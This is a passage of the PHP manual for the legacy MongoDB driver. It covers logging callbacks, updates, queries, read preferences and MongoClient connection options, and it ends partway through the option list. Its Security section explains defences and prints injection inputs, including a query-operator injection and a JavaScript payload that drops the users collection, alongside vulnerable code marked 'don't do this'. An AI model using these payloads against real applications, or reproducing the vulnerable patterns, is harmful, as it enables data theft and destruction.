Callback When Inserting Documents

  • « log_cmd_delete
  • log_cmd_update »
  • PHP Manual
  • Stream Context Options
  • Callback When Inserting Documents

log_cmd_insert

(PECL mongo >= 1.5.0)

log_cmd_insert — Callback When Inserting Documents

Description

log_cmd_insert ( array $server , array $document , array $writeOptions , array $protocolOptions )

A callable function, used by the log_cmd_insert context option, when inserting a document

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

server

An array containing the basic information about the server that was picked.

key | value
hash | server hash, example: localhost:27017;-;X;56052
type | Node type (primary/secondary/mongos/arbiter): 2
max_bson_size | The maximum BSON Size over the wire this node accepts: 16777216
max_message_size | The maximum Message Size over the wire this node accepts: 48000000
request_id | The request identifier for this message: 42

document

The document that has been prepared to be inserted

writeOptions

key | value
ordered | boolean, if the operation (in case of batch operation) must be executed sequentually (ordered=true)
writeConcern | An array of writeConcern options (see below)
writeConcern array values
key | value
fsync | boolean, force flushing to disk before returning
j | boolean, force journal write before returning
wtimeout | integer, milliseconds, maximum time the primary is allowed to wait to verify replication
w | integer=server count, or string=replication-tag

protocolOptions

key | value
message_length | The total size (in bytes) of the encoded message being sent over the wire
request_id | The request identifier for this message: 42
namespace | The MongoDB namespace used for the protocol message dbname.collectionname

Changelog

Version | Description
1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


Callback When Updating Documents

  • « log_cmd_insert
  • log_getmore »
  • PHP Manual
  • Stream Context Options
  • Callback When Updating Documents

log_cmd_update

(PECL mongo >= 1.5.0)

log_cmd_update — Callback When Updating Documents

Description

log_cmd_update ( array $server , array $writeOptions , array $updateOptions , array $protocolOptions )

A callable function, used by the log_cmd_update context option, when updateing a document

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

server

An array containing the basic information about the server that was picked.

key | value
hash | server hash, example: localhost:27017;-;X;56052
type | Node type (primary/secondary/mongos/arbiter): 2
max_bson_size | The maximum BSON Size over the wire this node accepts: 16777216
max_message_size | The maximum Message Size over the wire this node accepts: 48000000
request_id | The request identifier for this message: 42

writeOptions

key | value
ordered | boolean, if the operation (in case of batch operation) must be executed sequentually (ordered=true)
writeConcern | An array of writeConcern options (see below)
writeConcern array values
key | value
fsync | boolean, force flushing to disk before returning
j | boolean, force journal write before returning
wtimeout | integer, milliseconds, maximum time the primary is allowed to wait to verify replication
w | integer=server count, or string=replication-tag

updateOptions

key | value
multi | Boolean, true if this update is allowed to update all matched criteria
upsert | Boolean, true if the document should be created if criteria does not match
q | Array, the search criteria
u | Array, the new object/modifications

protocolOptions

key | value
message_length | The total size (in bytes) of the encoded message being sent over the wire
request_id | The request identifier for this message: 42
namespace | The MongoDB namespace used for the protocol message dbname.collectionname

Changelog

Version | Description
1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


Callback When Retrieving Next Cursor Batch

  • « log_cmd_update
  • log_killcursor »
  • PHP Manual
  • Stream Context Options
  • Callback When Retrieving Next Cursor Batch

log_getmore

(PECL mongo >= 1.5.0)

log_getmore — Callback When Retrieving Next Cursor Batch

Description

log_getmore ( array $server , array $info )

A callable function, used by the log_getmore context option, when executing a GET_MORE operation.

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

server

An array containing the basic information about the server that was picked.

key | value
hash | server hash, example: localhost:27017;-;X;56052
type | Node type (primary/secondary/mongos/arbiter): 2
max_bson_size | The maximum BSON Size over the wire this node accepts: 16777216
max_message_size | The maximum Message Size over the wire this node accepts: 48000000
request_id | The request identifier for this message: 42

info

key | value
request_id | integer, the driver request identifier
cursor_id | integer, the cursor identifier being used to fetch more data
batch_size | integer, maximum number of documents being requested

User Contributed Notes

There are no user contributed notes for this page.


Callback When Executing KILLCURSOR operations

  • « log_getmore
  • log_reply »
  • PHP Manual
  • Stream Context Options
  • Callback When Executing KILLCURSOR operations

log_killcursor

(PECL mongo >= 1.5.0)

log_killcursor — Callback When Executing KILLCURSOR operations

Description

log_killcursor ( array $server , array $info )

A callable function, used by the log_killcursor context option, when reading a killcursor from MongoDB.

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

server

An array containing the basic information about the server that was picked.

key | value
hash | server hash, example: localhost:27017;-;X;56052
type | Node type (primary/secondary/mongos/arbiter): 2
max_bson_size | The maximum BSON Size over the wire this node accepts: 16777216
max_message_size | The maximum Message Size over the wire this node accepts: 48000000
request_id | The request identifier for this message: 42

info

key | value
cursor_id | integer, the cursor identifier to kill

User Contributed Notes

There are no user contributed notes for this page.


Callback When Reading the MongoDB reply

  • « log_killcursor
  • log_write_batch »
  • PHP Manual
  • Stream Context Options
  • Callback When Reading the MongoDB reply

log_reply

(PECL mongo >= 1.5.0)

log_reply — Callback When Reading the MongoDB reply

Description

log_reply ( array $server , array $messageHeaders , array $operationHeaders )

A callable function, used by the log_reply context option, when reading a reply from MongoDB.

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

server

An array containing the basic information about the server that was picked.

key | value
hash | server hash, example: localhost:27017;-;X;56052
type | Node type (primary/secondary/mongos/arbiter): 2
max_bson_size | The maximum BSON Size over the wire this node accepts: 16777216
max_message_size | The maximum Message Size over the wire this node accepts: 48000000
request_id | The request identifier for this message: 42

messageHeaders

key | value
length | integer, bytes, message reply length
request_id | integer, the server request identifier
response_id | integer, the driver request identifier this message is a response of
opcode | integer, the opcode id

operationHeaders

key | value
flags | integer, bitmask of protocol flags
cursor_id | integer, ID of the cursor created on the server (0 if none created, or its been exhausted)
start | The starting offset of this cursor
returned | integer, how many documents are returned in this trip

See Also

  • The » OP_REPLY definition in the Wire Protocol

User Contributed Notes

There are no user contributed notes for this page.


Callback When Writing Batches

  • « log_reply
  • Writes »
  • PHP Manual
  • Stream Context Options
  • Callback When Writing Batches

log_write_batch

(PECL mongo >= 1.5.0)

log_write_batch — Callback When Writing Batches

Description

log_write_batch ( array $server , array $writeOptions , array $batch , array $protocolOptions )

A callable function, used by the log_write_batch context option, when executing a batch operation.

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

server

An array containing the basic information about the server that was picked.

key | value
hash | server hash, example: localhost:27017;-;X;56052
type | Node type (primary/secondary/mongos/arbiter): 2
max_bson_size | The maximum BSON Size over the wire this node accepts: 16777216
max_message_size | The maximum Message Size over the wire this node accepts: 48000000
request_id | The request identifier for this message: 42

writeOptions

key | value
ordered | boolean, if the operation (in case of batch operation) must be executed sequentually (ordered=true)
writeConcern | An array of writeConcern options (see below)
writeConcern array values
key | value
fsync | boolean, force flushing to disk before returning
j | boolean, force journal write before returning
wtimeout | integer, milliseconds, maximum time the primary is allowed to wait to verify replication
w | integer=server count, or string=replication-tag

batch

Array, the actual batch operation.

protocolOptions

key | value
message_length | The total size (in bytes) of the encoded message being sent over the wire
request_id | The request identifier for this message: 42
namespace | The MongoDB namespace used for the protocol message dbname.collectionname

Changelog

Version | Description
1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


Writes

Updating Nested Objects

Suppose we wish to change the name of a comment's author in this document:

{
    "_id" : ObjectId("4b06c282edb87a281e09dad9"),
    "content" : "this is a blog post.",
    "comments" :
    [
        {
            "author" : "Mike",
            "comment" : "I think that blah blah blah...",
        },
        {
            "author" : "John",
            "comment" : "I disagree."
        }
    ]
}
In order to change an inner field, we use $set (so that all of the other fields are not removed!) with the index of comment to change:
<?php

$blog->update($criteria, array('$set' => array("comments.1" => array("author" => "Jim"))));

?>

The Positional Operator

The positional operator $ is useful for updating objects that are in arrays. In the example above, for instance, suppose that we did not know the index of the comment that we needed to change, merely that we needed to change "John" to "Jim". We can use $ to do so.

<?php

$blog->update(
    array('comments.author' => 'John'),
    array('$set' => array('comments.$.author' => 'Jim')));

?>

User Contributed Notes

There are no user contributed notes for this page.


Querying

Distributing queries to secondaries

All queries (reads and writes) are only sent to the primary member of a replica set by default. This is however easily configurable by using the Read Preferences which allow you to set some generic read preferences (such as allowing secondary reads of the nearest server), and also provide ways to specifically target a server in a specific country, datacenter, or even hardware, by the use of replica set tag sets.

Read Preferences can be configured at "every level"

  • As a query parameter, or option, to MongoClient::__construct()
  • Specifically by calling MongoClient::setReadPreference()
  • At the Database level with MongoDB::setReadPreference()
  • At the Collection level with MongoCollection::setReadPreference()
Each class inherits the Read Preference setting from the class above it, so if you do:

Example #1 Inheriting ReadPreferences from the Database level down to the Cursor

<?php
$db->setReadPreference(MongoClient::RP_SECONDARY_PREFERRED);
$c = $db->myCollection;

$cursor = $c->find();
?>

then the query will be executed against a secondary (the collection inherited MongoClient::RP_SECONDARY_PREFERRED from the database and the cursor inherited it from the collection).

How secondaries are chosen

Each instance of MongoClient chooses its own secondary using the available secondary with the lowest ping time. So, if we had a PHP client in Europe and one in Australia and we had one secondary in each of these data centers, we could do:

<?php
$options = array("replicaSet" => "setName", "readPreference" => MongoClient::RP_SECONDARY_PREFERRED);

// on the Australian client
$m = new MongoClient("mongodb://primary,australianhost.secondary,europeanhost.secondary", $options);
$cursor = $m->foo->bar->find();
$cursor->getNext();
echo "Reading from: ", $cursor->info()["server"], "\n";

// on the European client
$m = new MongoClient("mongodb://primary,australianhost.secondary,europeanhost.secondary", $options);
$cursor = $m->foo->bar->find();
$cursor->getNext();
echo "Reading from: ", $cursor->info()["server"], "\n";
?>

The above example will output something similar to:

Reading from: australianHost
Reading from: europeanHost

Note that we have to do a query before a secondary is chosen: secondaries are chosen lazily by the driver, and for each query separately.

You can see what the driver thinks is the current status of the set members by running MongoClient::getHosts() or MongoClient::getConnections().

If no secondary is readable, the driver will send reads to the primary as we specified MongoClient::RP_SECONDARY_PREFERRED which will fallback to execute a query on a primary if no secondaries are available. A server is considered readable if its state is 2 (SECONDARY) and its health is 1. You can check this with MongoClient::getHosts() and MongoClient::getConnections().

Random notes

Writes are always sent to the primary—and by default all reads are sent to the primary too.

Querying by _id

Every object inserted is automatically assigned a unique _id field, which is often a useful field to use in queries. This works similarly to "get last insert ID" functionality, except that the _id is chosen by the client.

Suppose that we wish to find the document we just inserted. Inserting adds an _id field to the document, so we can query by that:

<?php
$person = array("name" => "joe");

$people->insert($person);

// now $joe has an _id field
$joe = $people->findOne(array("_id" => $person['_id']));
?>

Unless the user has specified otherwise, the _id field is a MongoId. The most common mistake is attempting to use a string to match a MongoId. Keep in mind that these are two different datatypes, and will not match each other in the same way that the string "array()" is not the same as an empty array. For example:

<?php
$person = array("name" => "joe");

$people->insert($person);

// convert the _id to a string
$pid = $person['_id'] . "";

// FAILS - $pid is a string, not a MongoId
$joe = $people->findOne(array("_id" => $pid));
?>

Arrays

Arrays are special in a couple ways. First, there are two types that MongoDB uses: "normal" arrays and associative arrays. Associative arrays can have any mix of key types and values. "Normal" arrays are defined as arrays with ascending numeric indexes starting at 0 and increasing by one for each element. These are, typically, just your usual PHP array.

For instance, if you want to save a list of awards in a document, you could say:

<?php

$collection->save(array("awards" => array("gold", "silver", "bronze")));

?>

Queries can reach into arrays to search for elements. Suppose that we wish to find all documents with an array element of a given value. For example, documents with a "gold" award, such as:

{ "_id" : ObjectId("4b06c282edb87a281e09dad9"), "awards" : ["gold", "silver", "bronze"]}

This can be done with a simple query, ignoring the fact that "awards" is an array:

<?php

  $cursor = $collection->find(array("awards" => "gold"));

?>

Suppose we are querying for a more complex object, if each element of the array were an object itself, such as:

{
     "_id" : ObjectId("4b06c282edb87a281e09dad9"),
     "awards" :
     [
        {
            "first place" : "gold"
        },
        {
            "second place" : "silver"
        },
        {
            "third place" :  "bronze"
        }
     ]
}

Still ignoring that this is an array, we can use dot notation to query the subobject:

<?php

$cursor = $collection->find(array("awards.first place" => "gold"));

?>

Notice that it doesn't matter that there is a space in the field name (although it may be best not to use spaces, just to make things more readable).

You can also use an array to query for a number of possible values. For instance, if we were looking for documents "gold" or "copper", we could do:

<?php

$cursor = $collection->find(array("awards" => array('$in' => array("gold", "copper"))));

?>

Changelog

Version | Description
1.3.0 | Introduced the Read Preferences framework to allow more fine grained control over secondary reads.
1.3.0 | Deprecated slaveOkay usage, the alternative is Read Preferences.
1.1.0 | Introduced the possiblity of routing reads to secondaries of replica set members using Mongo::setSlaveOkay()

User Contributed Notes

patrick at hexane dot org 16-Nov-2011 04:08
Note that $db->collection->find()->count() will always run on the PRIMARY, since underneath the hood ->count() is a dbcommand.
Charle Demers 13-May-2010 06:14
Watch for types casting in your queries, make sure ints are typed as ints and strings as strings.

Ex:
<?php

$friendId = $_SESSION['friendId'];
$request = array( 'friends.friendId' => (int)$friendId );
$friend = $this->_mongo->friends->findOne( $request );

?>

This example would not work without casting the $friendId to int in the request array (unless the friendId column in Mongo is actually really a string).
jhuntwork at lightcubesolutions dot com 17-Feb-2010 11:25
If you have already converted the MongoID into a string elsewhere and need to query for an _id based on the string, you can do so by creating a new MongoID object:

<?php

$m = new Mongo();
$collection = $collection = $m->selectDB('foo')->selectCollection('bar');

$id_string = '4b7c29908ead0e2e1d000000';

// The string is converted to a MongoID object
$mongo_id = new MongoID($id_string);

// $obj will be an array of data if the _id exists in the collection
$obj = $collection->findOne(array('_id'=>$mongo_id));

?>


Updates

Updates can be one of the most complicated operation available with MongoDB. They combine a query with an action, modifying documents that match the criteria. They are also extremely powerful, allowing you to change documents quickly and replace them altogether. They are done in-place (when possible) with little overhead.

Modifying vs. replacing documents

There are two types of updates you can use: modifying updates and replacing updates. Modifying updates contain $-operators and change fields in a document: they might increment counters, push new elements onto an array, or change the type of a field.

For example, a modifying update could add a new field to a document.

<?php
/** suppose documents look like:
 * {"username" : "...", "password" : "...", "email" : "..."}
 */
$coll->update(array("username" => "joe"), array('$set' => array("twitter" => "@joe4153")));

/** now the document will look like:
 * {"username" : "joe", "password" : "...", "email" : "...", "twitter" : "@joe4153"}
 */
?>

Replacing updates replace the entire matching document with a new document. They are generally not as efficient as using $-modifiers, but can be very usefully for complex operations or updates that can't be expressed in terms of $-operators.

For example, a replacing update can completely change the structure of a document.

<?php
/** suppose documents look like:
 * {"username" : "...", "password" : "...", "email" : "..."}
 */
$coll->update(array("username" => "joe"), array("userId" => 12345, "info" => array(
    "name" => "joe", "twitter" => "@joe4153", "email" => "..."), "likes" => array()));

/** now the document will look like:
 * {
 *     "userId" : 12345,
 *     "info" : {
 *         "name" : "joe",
 *         "twitter" : "@joe4153",
 *         "email" : "..."
 *     },
 *     "likes" : []
 * }
 */
?>

Updating Nested Objects

Suppose we wish to change the name of a comment's author in this document:

{
    "_id" : ObjectId("4b06c282edb87a281e09dad9"),
    "content" : "this is a blog post.",
    "comments" :
    [
        {
            "author" : "Mike",
            "comment" : "I think that blah blah blah...",
        },
        {
            "author" : "John",
            "comment" : "I disagree."
        }
    ]
}
In order to change an inner field, we use $set (so that all of the other fields are not removed!) with the index of comment to change:
<?php

$blog->update($criteria, array('$set' => array("comments.1" => array("author" => "Jim"))));

?>

The Positional Operator

The positional operator $ is useful for updating objects that are in arrays. In the example above, for instance, suppose that we did not know the index of the comment that we needed to change, merely that we needed to change "John" to "Jim". We can use $ to do so.

<?php

$blog->update(
    array("comments.author" => "John"),
    array('$set' => array('comments.$.author' => "Jim")));

?>

User Contributed Notes

Rudy 23-May-2011 06:37
See also the full update documentation in raw mongoDB:
http://www.mongodb.org/display/DOCS/Updating#Updating-%24inc

There you will find more information on modifier operations and everything that was briefly covered here. Translating to PHP should be easy!


Security

Request Injection Attacks

If you are passing $_GET (or $_POST) parameters to your queries, make sure that they are cast to strings first. Users can insert associative arrays in GET and POST requests, which could then become unwanted $-queries.

A fairly innocuous example: suppose you are looking up a user's information with the request http://www.example.com?username=bob. Your application does the query $collection->find(array("username" => $_GET['username'])).

Someone could subvert this by getting http://www.example.com?username[$ne]=foo, which PHP will magically turn into an associative array, turning your query into $collection->find(array("username" => array('$ne' => "foo"))), which will return all users not named "foo" (all of your users, probably).

This is a fairly easy attack to defend against: make sure $_GET and $_POST parameters are the type you expect before you send them to the database (cast them to strings, in this case).

Note that this type of attack can be used with any databases interation that locates a document, including updates, upserts, find-and-modifies, and removes.

Thanks to » Phil for pointing this out.

See » the main documentation for more information about SQL-injection-like issues with MongoDB.

Script Injection Attacks

If you are using JavaScript, make sure that any variables that cross the PHP- to-JavaScript boundry are passed in the scope field of MongoCode, not interpolated into the JavaScript string. This can come up when using MongoDB::execute(), $where clauses, MapReduces, group-bys, and any other time you may pass JavaScript into the database.

Note:

MapReduce ignore the scope field of MongoCode, but there is a scope option on the command that can be used instead.

For example, suppose we have some JavaScript to greet a user in the database logs. We could do:

<?php

// don't do this!

$username = $_POST['username'];
$db->execute("print('Hello, $username!');");

?>

However, what if a malicious user passes in some JavaScript?

<?php

// don't do this!

// $username is set to "'); db.users.drop(); print('"
$db->execute("print('Hello, $username!');");

?>

Now MongoDB executes the JavaScript string "print('Hello, '); db.users.drop(); print('!');". This attack is easy to avoid: use scope to pass variables from PHP to JavaScript:

<?php

$scope = array("user" => $username);
$db->execute(new MongoCode("print('Hello, '+user+'!');", $scope));

?>

This adds a variable user to the JavaScript scope. Now if someone tries to send malicious code, MongoDB will harmlessly print Hello, '); db.dropDatabase(); print('!.

Using scope helps prevent malicious input from being executed by the database. However, you must make sure that your code does not turn around and execute the input anyway! For example, never use the JavaScript eval function on user input:

<?php

// don't do this!

// $jsShellInput is "db.users.drop();"
$scope = array("input" => $jsShellInput);
$db->execute(new MongoCode("eval(input);", $scope));

?>

Always use scope and never allow the database to execute user input as code.

User Contributed Notes

Mark Caudill 08-Mar-2011 07:18
This also occurs using POST (obviously) despite it not being mentioned.  Sanitize all input you are taking in that can cause this issue.


Troubleshooting

If you're having trouble, there are lots of resources you can turn to.

  • IRC

    The official MongoDB IRC room is irc.freenode.net/#mongodb. This is the fastest way to get help.

  • Mailing List

    » MongoDB's mailing list is a good (and usually very fast) way to get answers to questions.

  • Bug Tracker

    Found a bug? Want a feature? Have a question? File it in the » PHP driver's bug tracker.

You can make the driver log all kinds of error messages as E_NOTICE level PHP error messages. Have a look at the MongoLog for an example.

User Contributed Notes

There are no user contributed notes for this page.


Running the Driver's Tests

The PECL package does not come with the tests, but they are available at » Github.

.phpt Tests

.phpt tests are the standard way of testing PHP extensions. After compiling the MongoDB driver with "make" you can then issue "make test" to run the tests. These tests require MongoDB to be working, and hence, you need to configure the test suite itself.

There is more information on running the tests in the contributing guidelines on » GitHub.

Reporting Errors

Please report any failures or errors in the » bugtracker. There may be skipped tests, these are normal and can be ignored.

New tests are always welcome! Please feel free to contribute new tests of any type testing any functionality.

User Contributed Notes

There are no user contributed notes for this page.


Core Classes

Table of Contents

  • MongoClient
  • MongoDB
  • MongoCollection
  • MongoCursor
  • MongoCommandCursor

The core classes are the most important part of the driver.

User Contributed Notes

There are no user contributed notes for this page.


The MongoClient class

(PECL mongo >=1.3.0)

Introduction

A connection manager for PHP and MongoDB.

This class is used to create and manage connections. A typical use is:

Example #1 MongoClient basic usage

<?php

$m = new MongoClient(); // connect
$db = $m->foo; // get the database named "foo"

?>

See MongoClient::__construct() and the section on connecting for more information about creating connections.

Class synopsis

MongoClient {
/* Constants */
const string VERSION ;
const string DEFAULT_HOST = "localhost" ;
const int DEFAULT_PORT = 27017 ;
const string RP_PRIMARY = "primary" ;
const string RP_PRIMARY_PREFERRED = "primaryPreferred" ;
const string RP_SECONDARY = "secondary" ;
const string RP_SECONDARY_PREFERRED = "secondaryPreferred" ;
const string RP_NEAREST = "nearest" ;
/* Properties */
public boolean $connected = FALSE ;
public string $status = NULL ;
protected string $server = NULL ;
protected boolean $persistent = NULL ;
/* Methods */
public __construct ([ string $server = "mongodb://localhost:27017" [, array $options = array("connect" => TRUE) [, array $driver_options ]]] )
public bool close ([ boolean|string $connection ] )
public bool connect ( void )
public array dropDB ( mixed $db )
public MongoDB __get ( string $dbname )
public static array getConnections ( void )
public array getHosts ( void )
public array getReadPreference ( void )
public array getWriteConcern ( void )
public bool killCursor ( string $server_hash , int|MongoInt64 $id )
public array listDBs ( void )
public MongoCollection selectCollection ( string $db , string $collection )
public MongoDB selectDB ( string $name )
public bool setReadPreference ( string $read_preference [, array $tags ] )
public bool setWriteConcern ( mixed $w [, int $wtimeout ] )
public string __toString ( void )
}

Predefined Constants

MongoClient Constants

MongoClient::VERSION
PHP driver version. May be suffixed with "dev", "+" or "-" if it is in-between versions.
MongoClient::DEFAULT_HOST
"localhost"
Host to connect to if no host is given.
MongoClient::DEFAULT_PORT
27017
Port to connect to if no port is given.
MongoClient::RP_PRIMARY
"primary"
Read preference for the primary replica set member.
MongoClient::RP_PRIMARY_PREFERRED
"primaryPreferred"
Read preference for preferring the primary replica set member.
MongoClient::RP_SECONDARY
"secondary"
Read preference for a secondary replica set member.
MongoClient::RP_SECONDARY_PREFERRED
"secondaryPreferred"
Read preference for preferring a secondary replica set member.
MongoClient::RP_NEAREST
"nearest"
Read preference for the nearest replica set member.

Fields

connected

This property will be set to TRUE if we have a open connection to the database, FALSE otherwise. If the connection is to a replica set, this property will only be TRUE if the driver has a connection to a node matching the current read preference. This property does not take authentication into account.

This property is deprecated since version 1.5.0.

status

This property is no longer used and will be set to NULL In driver versions 1.1.x and earlier, this may be set to a string value (e.g. "recycled", "new") when persistent connections are used.

This property is deprecated since version 1.5.0.

See Also

  • Read Preferences
  • Write Concerns
  • Connecting
  • MongoDB core docs on » connecting

Table of Contents

  • MongoClient::close — Closes this connection
  • MongoClient::connect — Connects to a database server
  • MongoClient::__construct — Creates a new database connection object
  • MongoClient::dropDB — Drops a database [deprecated]
  • MongoClient::__get — Gets a database
  • MongoClient::getConnections — Return info about all open connections
  • MongoClient::getHosts — Updates status for all associated hosts
  • MongoClient::getReadPreference — Get the read preference for this connection
  • MongoClient::getWriteConcern — Get the write concern for this connection
  • MongoClient::killCursor — Kills a specific cursor on the server
  • MongoClient::listDBs — Lists all of the databases available.
  • MongoClient::selectCollection — Gets a database collection
  • MongoClient::selectDB — Gets a database
  • MongoClient::setReadPreference — Set the read preference for this connection
  • MongoClient::setWriteConcern — Set the write concern for this connection
  • MongoClient::__toString — String representation of this connection

User Contributed Notes

bennettsst at NOSPAM dot gmail dot com 12-May-2014 08:20
Using the 1.2.5-5.5 vc11 driver the connected attribute is depracted.
mike at eastghost dot com 07-Mar-2013 06:35
This will help maintain sanity while debugging replicaSet connectivity problems:

error_reporting( E_ALL )
// print every log message possible
\MongoLog::setLevel(\MongoLog::ALL); // all log levels
\MongoLog::setModule(\MongoLog::ALL); // all parts of the driver
mike at eastghost dot com 07-Mar-2013 06:34
php monogo driver 1.3.4
feb 2013

After demoting old replicaset primary to secondary, and promoting old replicaset second into primary, we began seeing "No candidate servers found" MongoException at initial attempt to connect to (new) replicaset primary (via this hint in the /etc/mongo.conf: replSet = rs1/pri.eastghost.com)

Fix seems to be

1. NEVER list "localhost" in the bind= line of /etc/mongo.conf

2. ALWAYS list every replica set member in every member's /etc/hosts file -- there seems to be something wrong with DNS lookup timing.
jazz at funkynerd dot com 28-Nov-2012 10:36
Seeing as the Mongo class has been deprecated, I'm using the following code to allow compatibility with the pre 1.3.0 driver successfully.

<?php
$class = 'MongoClient';

if(!class_exists($class)){

    $class = 'Mongo';

}

$conn = new $class($hosts, $args);
?>


Closes this connection

  • « MongoClient
  • MongoClient::connect »
  • PHP Manual
  • MongoClient
  • Closes this connection

MongoClient::close

(PECL mongo >=1.3.0)

MongoClient::close — Closes this connection

Description

public bool MongoClient::close ([ boolean|string $connection ] )

The MongoClient::close() method forcefully closes a connection to the database, even if persistent connections are being used. You should never have to do this under normal circumstances.

Parameters

connection

If connection is not given, or FALSE then connection that would be selected for writes would be closed. In a single-node configuration, that is then the whole connection, but if you are connected to a replica set, close() will only close the connection to the primary server.

If connection is TRUE then all connections as known by the connection manager will be closed. This can include connections that are not referenced in the connection string used to create the object that you are calling close on.

If connection is a string argument, then it will only close the connection identified by this hash. Hashes are identifiers for a connection and can be obtained by calling MongoClient::getConnections().

Return Values

Returns if the connection was successfully closed.

Examples

Example #1 MongoClient::close() example

This example demonstrates how to selectively close all connections for secondaries only.

<?php
// Connect to a replicaset
$a = new MongoClient("mongodb://whisky:13000/?replicaset=seta");

$connections = $a->getConnections();

foreach ( $connections as $con )
{
    // Loop over all the connections, and when the type is "SECONDARY"
    // we close the connection
    if ( $con['connection']['connection_type_desc'] == "SECONDARY" )
    {
        echo "Closing '{$con['hash']}': ";
        $closed = $a->close( $con['hash'] );
        echo $closed ? "ok" : "failed", "\n";
    }
}
?>

The above example will output:

Closing 'whisky:13001;X;4948': ok

Changelog

Version | Description
1.3.0 | The connection parameter to this function was added in 1.3.0. Before that, only the write connection would be closed by this method.
1.2.0 | Before version 1.2.0 the driver would not use persistent connections by default, and all connections would be closed as soon as a MongoDB connection went out if scope. Since version 1.2.0 this is no longer the case and it is a bad idea to call close as you might end up overloading the server with connections under high load.

See Also

  • MongoClient::getConnections() - Return info about all open connections

User Contributed Notes

There are no user contributed notes for this page.


Connects to a database server

  • « MongoClient::close
  • MongoClient::__construct »
  • PHP Manual
  • MongoClient
  • Connects to a database server

MongoClient::connect

(PECL mongo >=1.3.0)

MongoClient::connect — Connects to a database server

Description

public bool MongoClient::connect ( void )

Parameters

This function has no parameters.

Return Values

If the connection was successful.

Errors/Exceptions

Throws MongoConnectionException if it fails to connect to the database.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new database connection object

  • « MongoClient::connect
  • MongoClient::dropDB »
  • PHP Manual
  • MongoClient
  • Creates a new database connection object

MongoClient::__construct

(PECL mongo >=1.3.0)

MongoClient::__construct — Creates a new database connection object

Description

 public MongoClient::__construct
  ([ string $server = "mongodb://localhost:27017"
 [, array $options = array("connect" => TRUE)
 [, array $driver_options
]]] )

If no parameters are passed, this connects to "localhost:27017" (or whatever was specified in php.ini for mongo.default_host and mongo.default_port).

server should have the form:

mongodb://[username:password@]host1[:port1][,host2[:port2:],...]/db

The connection string always starts with mongodb://, to indicate it is a connection string in this form.

If username and password are specified, the constructor will attempt to authenticate the connection with the database before returning. Username and password are optional and must be followed by an @, if specified.

At least one host must be given (port optional, always defaulting to 27017) and as many hosts as desired may be connected to. Host names are comma-separated and the constructor will return successfully if it connected to at least one host. If it could not connect to any of the hosts, it will throw a MongoConnectionException. Please see the Replica Sets section for information on how to connect to Replica Sets.

If you specified a username and password, you may specify a database to authenticate with. If db is not specified, "admin" will be used.

An optional query string may be used to specify extra options. The same options are supported through the options array as well, and are therefore redescribed there. See the examples below on how to set those options.

One part of the options governs how the driver reads from secondary nodes in a replica set environment. Extra information on how these read preferences work is available as well through the read preferences documentation page.

Parameters

server

The server name.

options

An array of options for the connection. Currently available options include:

  • "authMechanism"

    Available mechanisms are:

    authMechanism | Description | Availability
    MONGODB-CR | Authenticate using Challenge Response mechanism. This is the default value. | All MongoDB versions
    X509 | Authenticates using X509 certificates | MongoDB 2.6. Only available when OpenSSL is enabled
    PLAIN | Authenticates using unencrypted plain username+password. Must be used over SSL connections. Generally used by MongoDB to login via 3rd party LDAP server | MongoDB Enterprise 2.4. The Driver must be compiled against CyrusSASL2
    GSSAPI | Authenticates via kerberos systems | MongoDB Enterprise 2.4. The Driver must be compiled against CyrusSASL2

  • "authSource"

    Should be set to the database name where the user is defined it.

  • "connect"

    If the constructor should connect before returning. Default is TRUE. When set to FALSE the driver will automatically connect to the server whenever it is necessary to do a query. Alternatively, you can run MongoClient::connect() manually.

    Warning

    This option is not supported through the connection string.

  • "connectTimeoutMS"

    How long a connection can take to be opened before timing out in milliseconds. Defaults to 60000 (60 seconds).

    If -1 is specified, no connection timeout will be applied and PHP will use default_socket_timeout.

  • "db"

    The database to authenticate against can be specified here, instead of including it in the host list. This overrides a database given in the host list.

  • "fsync"

    When "fsync" is set, all write operations will block until the database has flushed the changes to disk. This makes the write operations slower, but it guarantees that writes have succeeded and that the operations can be recovered in case of total system failure.

    If the MongoDB server has journaling enabled, this option is identical to "journal". If journaling is not enabled, this option ensures that write operations will be synced to database files on disk.

    Note: If journaling is enabled, users are strongly encouraged to use the "journal" option instead of "fsync". Do not use "fsync" and "journal" simultaneously, as that will result in an error.

  • "journal"

    When "journal" is set, all write operations will block until the database has flushed the changes to the journal on disk. This makes the write operations slower, but it guarantees that writes have succeeded and that the operations can be recovered in case of total system failure.

    Note: If this option is used and journaling is disabled, MongoDB 2.6+ will raise an error and the write will fail; older server versions will simply ignore the option.

  • "gssapiServiceName"

    Sets the » Kerberos service principal. Only applicable when authMechanism=GSSAPI. Defaults to "mongodb".

  • "password"

    The password can be specified here, instead of including it in the host list. This is especially useful if a password has a "@" in it. This overrides a password set in the host list.

  • "readPreference"

    Specifies the read preference type. Read preferences provide you with control from which secondaries data can be read from.

    Allowed values are: MongoClient::RP_PRIMARY,
MongoClient::RP_PRIMARY_PREFERRED,
MongoClient::RP_SECONDARY,
MongoClient::RP_SECONDARY_PREFERRED and
MongoClient::RP_NEAREST.

    See the documentation on read preferences for more information.

  • "readPreferenceTags"

    Specifies the read preference tags as an array of strings. Tags can be used in combination with the readPreference option to further control which secondaries data might be read from.

    See the documentation on read preferences for more information.

  • "replicaSet"

    The name of the replica set to connect to. If this is given, the primary will be automatically be determined. This means that the driver may end up connecting to a server that was not even listed. See the replica set example below for details.

  • "secondaryAcceptableLatencyMS"

    When reading from a secondary (using ReadPreferences), do not read from secondaries known to be more then secondaryAcceptableLatencyMS away from us. Defaults to 15

  • "socketTimeoutMS"

    How long a socket operation (read or write) can take before timing out in milliseconds. Defaults to 30000 (30 seconds).

    If -1 is specified, socket operations may block indefinitely. This option may also be set on a per-operation basis using MongoCursor::timeout() for queries or the "socketTimeoutMS" option for write methods.

    Note: This is a client-side timeout. If a write operation times out, there is no way to know if the server actually handled the write or not, as a MongoCursorTimeoutException will be thrown in lieu of returning a write result.

  • "ssl"

